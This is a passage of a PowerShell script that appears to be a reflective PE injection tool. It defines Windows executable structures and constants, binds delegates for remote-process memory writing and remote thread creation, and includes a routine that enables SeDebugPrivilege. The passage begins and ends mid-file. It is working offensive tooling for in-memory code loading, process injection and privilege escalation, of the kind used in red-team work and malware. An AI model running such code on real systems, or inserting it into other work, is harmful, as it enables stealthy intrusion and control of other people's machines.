$TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
#Struct IMAGE_BASE_RELOCATION
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
$IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
#Struct IMAGE_IMPORT_DESCRIPTOR
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
$IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
#Struct IMAGE_EXPORT_DIRECTORY
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
$IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
#Struct LUID
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
$TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
$LUID = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID
#Struct LUID_AND_ATTRIBUTES
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
$TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
$TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
$LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES
#Struct TOKEN_PRIVILEGES
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
$TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
$TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES
return $Win32Types
}
Function Get-Win32Constants
{
$Win32Constants = New-Object System.Object
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
$Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
$Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
return $Win32Constants
}
Function Get-Win32Functions
{
$Win32Functions = New-Object System.Object
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
$memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
$memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
$memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy
$memsetAddr = Get-ProcAddress msvcrt.dll memset
$memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
$memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
$GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
$GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
$VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
$VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
$VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
$GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
$FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr])
$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory
$ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
$ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
$ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread
$GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
$GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
$GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread
$OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
$OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
$OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken
$GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
$GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
$GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread
$AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
$AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
$AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges
$LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
$LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
$LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue
$ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
$ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
$ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
$NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
$NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
$NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
$IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process
$CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread
$LocalFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$LocalFreeDelegate = Get-DelegateType @([IntPtr])
$LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate)
$Win32Functions | Add-Member NoteProperty -Name LocalFree -Value $LocalFree
return $Win32Functions
}
#####################################
#####################################
########### HELPERS ############
#####################################
#Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function
#This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses
Function Sub-SignedIntAsUnsigned
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
$CarryOver = 0
for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
{
$Val = $Value1Bytes[$i] - $CarryOver
#Sub bytes
if ($Val -lt $Value2Bytes[$i])
{
$Val += 256
$CarryOver = 1
}
else
{
$CarryOver = 0
}
[UInt16]$Sum = $Val - $Value2Bytes[$i]
$FinalBytes[$i] = $Sum -band 0x00FF
}
}
else
{
Throw "Cannot subtract bytearrays of different sizes"
}
return [BitConverter]::ToInt64($FinalBytes, 0)
}
Function Add-SignedIntAsUnsigned
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
$CarryOver = 0
for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
{
#Add bytes
[UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
$FinalBytes[$i] = $Sum -band 0x00FF
if (($Sum -band 0xFF00) -eq 0x100)
{
$CarryOver = 1
}
else
{
$CarryOver = 0
}
}
}
else
{
Throw "Cannot add bytearrays of different sizes"
}
return [BitConverter]::ToInt64($FinalBytes, 0)
}
Function Compare-Val1GreaterThanVal2AsUInt
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
{
if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
{
return $true
}
elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
{
return $false
}
}
}
else
{
Throw "Cannot compare byte arrays of different size"
}
return $false
}
Function Convert-UIntToInt
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[UInt64]
$Value
)
[Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
return ([BitConverter]::ToInt64($ValueBytes, 0))
}
Function Test-MemoryRangeValid
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[String]
$DebugString,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 2, Mandatory = $true)]
[IntPtr]
$StartAddress,
[Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)]
[IntPtr]
$EndAddress,
[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
[IntPtr]
$Size
)
[IntPtr]$FinalEndAddress = [IntPtr]::Zero
if ($PsCmdlet.ParameterSetName -eq "Size")
{
[IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
}
else
{
$FinalEndAddress = $EndAddress
}
$PEEndAddress = $PEInfo.EndAddress
if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
{
Throw "Trying to write to memory smaller than allocated address range. $DebugString"
}
if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
{
Throw "Trying to write to memory greater than allocated address range. $DebugString"
}
}
Function Write-BytesToMemory
{
Param(
[Parameter(Position=0, Mandatory = $true)]
[Byte[]]
$Bytes,
[Parameter(Position=1, Mandatory = $true)]
[IntPtr]
$MemoryAddress
)
for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
{
[System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
}
}
#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
Function Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
Function Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Function Enable-SeDebugPrivilege
{
Param(
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Types,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Constants
)
[IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
if ($ThreadHandle -eq [IntPtr]::Zero)
{
Throw "Unable to get the handle to the current thread"
}
[IntPtr]$ThreadToken = [IntPtr]::Zero
[Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
if ($Result -eq $false)
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
{
$Result = $Win32Functions.ImpersonateSelf.Invoke(3)
if ($Result -eq $false)
{
Throw "Unable to impersonate self"
}
$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
if ($Result -eq $false)
{
Throw "Unable to OpenThreadToken."
}
}
else
{
Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
}
}
[IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
$Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
if ($Result -eq $false)
{
Throw "Unable to call LookupPrivilegeValue"
}
[UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
[IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
$TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
$TokenPrivileges.PrivilegeCount = 1
$TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
$TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
[System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)
$Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value
if (($Result -eq $false) -or ($ErrorCode -ne 0))
{
#Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set
}
